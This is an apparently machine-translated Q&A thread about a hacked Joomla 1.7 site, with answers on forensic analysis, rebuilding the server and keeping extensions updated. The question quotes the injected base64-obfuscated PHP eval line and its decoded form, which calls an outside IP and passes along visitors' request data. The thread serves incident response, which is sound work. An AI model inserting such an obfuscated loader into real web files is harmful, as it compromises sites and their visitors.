今日ハッキングされたJoomla1.7サイトを運営しています。以下のスクリプトはハックを行いました。
eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));
上記の行は、テンプレートフォルダのindex.php
ファイルに挿入されました。フォルダ内にあったすべてのテンプレートには、上記のコードが含まれていました。各ファイルで、それは数回繰り返されました。
コードをデコードすると、出力されます
print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_Host'] . '/' . $_SERVER['REQUEST_URI']));
スクリプトを削除すると、サイトは正常に機能します。スクリプトは、サイトがまったく読み込まれなかったことを除いて、悪いことは何もしませんでした。
私の問題は、ファイルのアクセス許可を644に、フォルダーのアクセス許可を755に設定した場合でも、どうしてこれが発生するのでしょうか。
問題の原因を特定するにはどうすればよいですか?将来これが起こらないようにするには、どのような手順を踏む必要がありますか?
これ フォーラム投稿アシスタント/ FPA 非常に役立ちます
問題の原因を特定するにはどうすればよいですか?
このタイプの違反に対する基本的なフォレンジック手順は次のとおりです。
「このタイプの違反」とは、水飲み場型攻撃を指します。この攻撃では、誰かがWebサーバーに侵入し、Webファイルにコードを挿入して、無意識のうちにWebクライアントにサービスを提供します。このような違反は通常、Webアプリケーション/ CMS /プラグインを攻撃することによって実行され、攻撃者がシステムでコードを実行している間、完全なバックドアを構築したり、ログからトレースを削除しようとしたりするために違反を使用する可能性は低くなります。 'ただ入って、ファイルを変更して、なくなってしまいました。
システム上でコードを実行できた方法を特定するために、上記の分析を実行することが非常に重要です。そうしないと、彼らや他の誰かがもう一度やり直します。攻撃者がシステム(バックドア、ログ編集、ルートキット)に侵入する可能性は低くなりますが、強くボックスを再構築し、クリーンバックアップからWebコンテンツを復元することを検討する必要があります。
以下のスクリプトはハックを行いました
いいえ-それが攻撃後に残されたものです。
スクリプトを削除すると、サイトは正常に機能します。
しかし、あなたは脆弱性を修正していません。現在のJoomlaバージョンはかなり安全です(古いバージョンはそうではありません)が、そこにはひどく書かれた拡張機能がたくさんあります。そして、おそらく攻撃者はJoomla経由でシステムにアクセスすることさえしませんでした。
ざっと見てみましたが、ハッキングされたシステムに対処するプロセスに関して、ここでは投票の多い質問はないようです-しかし serverfaultでこれを読んでください。
ファイルのアクセス許可を644に、フォルダーのアクセス許可を755に設定した場合
前後?誰が所有していますか?
問題の原因を特定するにはどうすればよいですか?
ログを読んでください。ただし、これらも改ざんされている可能性があると想定してください。ギャップや予期しないエントリを探してください。あなたはまだ答えを見つけることができないかもしれません。
@Dasun
将来これが起こらないようにするには、どのような手順を踏む必要がありますか?
最初に:あなたのウェブサイトが決して「ハッキングできない」という事実を受け入れてください。
混乱をクリーンアップした後(通常、最初からやり直すことを意味します)、Joomlaコアを更新し、すべてのコンポーネント、拡張機能などを更新します。そしてそれを最新の状態に保ちます。ファイルのアクセス許可を再確認することを忘れないでください。
過去2か月(またはそれくらい)に発生した厄介なJoomlaエクスプロイトの1つは、com_jceの脆弱性に対するものです。したがって、そのコンポーネントを使用しているかどうかを確認してください。脆弱性の詳細については、Googleをご覧ください。さらに、ソフトウェアのバージョンを最新の状態に保つ以外に、やるべきことはあまりありません。
PS:一般的なエクスプロイトをブロック(書き換え)するように.htaccessファイルを設定する方法については、多くの情報があります。ただし、.htaccessファイルに組み込むことができるエクスプロイトとそのシグネチャを積極的に監視する必要があります。 ModSecurityのようなWebアプリケーションファイアウォール(WAF)で保護を提供しているかどうか、ホスティングプロバイダーに問い合わせてください。
表示するeval()
コマンドは比較的害がないように見えますが(サーバーにダウンロードさせることはできますが)、このコマンドのpresenceindex.php
fileは、攻撃者がサイト内の少なくともいくつかのファイルへの書き込みアクセス権を取得したことを示します。その後、彼はさまざまな方法でそれを盗聴した可能性があり、おそらく彼のアクセスをより完全なシステム全体のアクセスにエスカレートしました。サイトが「正常に機能する」ということは、サーバーがバックドアやルートキットでいっぱいになっていないことを意味するわけではありません。攻撃者が入る前に足を拭いたことを意味します。
それは 軌道からの核 状況であり、見た目は極端です。十字軍のように火で浄化しない限り、この機械の完全性を再び信頼することはできません。
攻撃者が最初にどのように侵入したかを知るために、フォレンジック分析のためにサイトとOSのコピーを保持する必要があります。 @gowenfarの回答を参照してください。ただし、多くの攻撃者は背後のドアを閉める傾向があることを知っておいてください。穴を悪用すると、カスタムバックドアがインストールされ、次に修正されます。彼らが入ることを可能にした穴(独占権を維持するために-ほとんどの攻撃者は非常に領土の動物であり、同じ獲物を食べようとする他の攻撃者に積極的に反対します)。したがって、サイトの現在の状態(マシンを削除する前に作成するコピー)と最後の既知のクリーンバックアップ(バックアップがありますか?)を体系的にファイル間で比較することをお勧めします。
上記の回答のほとんどは、Joomla 1.7がサポートされなくなったという1つの重要な情報が欠落しているようですそして脆弱性にさらされています。
Joomla 1.7は短期リリースであり、2012年2月にサポートが終了しました。私のアドバイスは、できるだけ早くアップグレードすることを検討することです。 2.5安定版にアップグレードする方法についてのメモ http://docs.joomla.org/Upgrading_from_an_existing_version